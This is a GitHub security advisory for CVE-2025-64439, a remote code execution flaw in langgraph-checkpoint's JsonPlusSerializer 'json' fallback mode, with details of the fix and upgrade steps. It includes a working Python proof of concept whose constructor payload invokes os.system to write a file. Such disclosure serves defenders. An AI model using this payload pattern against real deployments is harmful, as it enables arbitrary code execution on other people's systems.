GitHub Advisoryadvisory · PyPI

GHSA-wwqv-p2pp-99h5 LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

HIGH Published 2025-11-05 Modified 2025-11-07 Official page ↗
Aliases
CVE-2025-64439
Ecosystem
PyPI
Packages
langgraph-checkpoint
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H
Weaknesses
CWE-502
Reviewed
2025-11-05

Affected packages

• PyPI langgraph-checkpoint: < 3.0.0 → fixed in 3.0.0

Description

Summary Prior to `langgraph-checkpoint` version `3.0` , LangGraph’s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `"json"` serialization mode. If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization. Upgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode. If you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. Details Affected file / component jsonplus.py By default, the serializer attempts to use `"msgpack"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the `"json"` mode. When operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == "constructor"`) for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load. --- Who is affected This issue affects all users of `langgraph-checkpoint` versions earlier than 3.0 who: 1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `"json"` mode. If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced. Proof of Concept (PoC) ```python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver class State(TypedDict): foo: str attack: dict def my_node(state: State): return {"foo": "oops i fetched a surrogate \ud800"} with SqliteSaver.from_conn_string("foo.db") as saver: graph = ( StateGraph(State). add_node("my_node", my_node). add_edge("__start__", "my_node"). compile(checkpointer=saver) ) attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } malicious_payload = { "attack": attack, } thread_id = "00000000-0000-0000-0000-000000000001" config = {"thread_id": thread_id} # Malicious payload is saved in the first call graph.invoke(malicious_payload, config=config) # Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config) ``` Running this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution. Internally, this exploits the following code path: ```python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer serializer = JsonPlusSerializer() # Used within the checkpointer serialized = serializer.dumps_typed(malicious_payload) serializer.loads_typed(serialized) # Executes os.system(...) ``` --- Fixed Version The vulnerability is fixed in `langgraph-checkpoint==3.0.0` Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0 --- Fix Description The fix introduces an allow-list for constructor deserialization, restricting permissible `"id"` paths to explicitly approved module/class combinations provided at serializer construction. Additionally, saving payloads in `"json"` format has been deprecated to remove this unsafe fallback path. --- Mitigation Upgrade immediately to `langgraph-checkpoint==3.0.0`. This version is fully compatible with `langgraph>=0.3` and does not require any import changes or code modifications. In `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.

Related

Alias · CVE (1)

  • CVE-2025-64439 LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

References